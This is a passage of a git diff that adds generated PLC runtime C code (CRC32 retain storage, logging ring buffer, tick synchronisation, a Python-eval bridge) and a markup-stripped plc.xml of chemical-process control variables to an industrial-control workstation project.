0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml new file mode 100644 index 0000000..ab595e3 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/plc.xml @@ -0,0 +1,5125 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + run_bit + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_sp + + + + + + + 0 + + + + + + + 65535 + + + + + + + 65535 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 